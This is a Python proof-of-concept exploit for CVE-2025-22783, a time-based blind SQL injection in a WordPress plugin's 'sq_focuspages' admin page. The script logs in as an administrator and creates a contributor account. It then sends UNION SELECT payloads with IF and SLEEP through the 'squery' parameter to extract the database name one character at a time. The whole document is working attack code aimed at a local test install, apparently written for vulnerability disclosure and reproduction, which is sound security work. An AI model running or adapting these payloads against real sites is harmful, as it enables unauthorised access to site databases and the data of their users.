[SQL Injection] CVE-2025-22783

import re import time import string import requests # Contributor ID/PW CONTRIBUTOR_ID = "contributor" CONTRIBUTOR_PW = "contributor" # To set up a proxy, enter the server address below. PROXY_SERVER = "http://localhost:7777" proxies = { "https": PROXY_SERVER, "http": PROXY_SERVER, } SLEEP_TIMER = 3 def __login_get_session(login_id, login_pw): session = requests.session() data = { "log": login_id, "pwd": login_pw, "wp-submit": "Log In", "testcookie": 1 } resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies) if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]: print(f" |- Successfully logged in with account {login_id}.") return session else: raise Exception(f"[-] Failed to log in.") def __add_user(admin_session, new_user_id, new_user_pw, role): resp = admin_session.get(f"{TARGET}/wp-admin/user-new.php", proxies=proxies) pattern = r'_wpnonce_create-user" value="(.{10})"' match = re.search(pattern, resp.text) if match: wp_create_user_nonce = match.group(1) data = { "action": "createuser", "_wpnonce_create-user": wp_create_user_nonce, "_wp_http_referer": "/wp-admin/user-new.php", "user_login": f"{new_user_id}", "email": f"{new_user_id}@example.com", "first_name": "", "last_name": "", "url": "", "pass1": f"{new_user_pw}", "pass2": f"{new_user_pw}", "pw_weak": "on", "send_user_notification": 1, "role": f"{role}", "createuser": "Add+New+User" } admin_session.post(f"{TARGET}/wp-admin/user-new.php", data=data, proxies=proxies) print(f" |- Successfully created account {new_user_id} (role: {role}).") else: raise Exception(f"[-] Failed to find _wpnonce_create-user value required for adding a user.") def poc_get_db_length(session): length = 1 while True: payload = f"' AND 1=2) UNION SELECT (IF(LENGTH(DATABASE()) > {length},SLEEP({SLEEP_TIMER}),1)),2,3,4,5,6,7 #" params = { "page": "sq_focuspages", "tab": "innerlinks", "stype": None, "squery": payload } start_time = time.time() session.post(f"{TARGET}/wp-admin/admin.php", params=params, proxies=proxies) if (time.time() - start_time) < SLEEP_TIMER: print(f" |- Database name length: {length}") break else: print(f" |- Database name length is greater than {length}.") length += 1 return length def poc_get_db_name(session, db_length): db_name = "" for i in range(1, db_length+1): for char in string.ascii_letters + string.digits: payload = f"' AND 1=2) UNION SELECT (IF(SUBSTR(DATABASE(),{i},1)='{char}',SLEEP({SLEEP_TIMER}),1)),2,3,4,5,6,7 #" params = { "page": "sq_focuspages", "tab": "innerlinks", "stype": None, "squery": payload } start_time = time.time() session.post(f"{TARGET}/wp-admin/admin.php", params=params, proxies=proxies) if (time.time() - start_time) > SLEEP_TIMER: db_name += char print(f" |- Database name: {db_name.ljust(db_length, '*')}") break def poc(): #### # 1. Log in as administrator #### print(f"[+] Logging in with administrator account.") print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}") admin_session = __login_get_session(ADMIN_ID, ADMIN_PW) admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies) #### # 2. Register a user ('Contributor') - Administrator #### print(f"[+] Creating a 'Contributor' user account.") print(f" |- Account: {CONTRIBUTOR_ID}, Password: {CONTRIBUTOR_PW}") __add_user(admin_session, CONTRIBUTOR_ID, CONTRIBUTOR_PW, "contributor") #### # 3. Log in as 'Contributor' user #### print(f"[+] Logging in with 'Contributor' user account.") print(f" |- Account: {CONTRIBUTOR_ID}, Password: {CONTRIBUTOR_PW}") contributor_session = __login_get_session(CONTRIBUTOR_ID, CONTRIBUTOR_PW) ### # 4. Retrieve database name length ### print(f"[+] Retrieving database name length.") db_length = poc_get_db_length(contributor_session) ### # 5. Retrieve database name ### print(f"[+] Retrieving database name.") poc_get_db_name(contributor_session, db_length) if __name__ == "__main__": # WordPress Target TARGET = "http://localhost:8080" # Administrator ID/PW ADMIN_ID = "admin" ADMIN_PW = "admin" poc()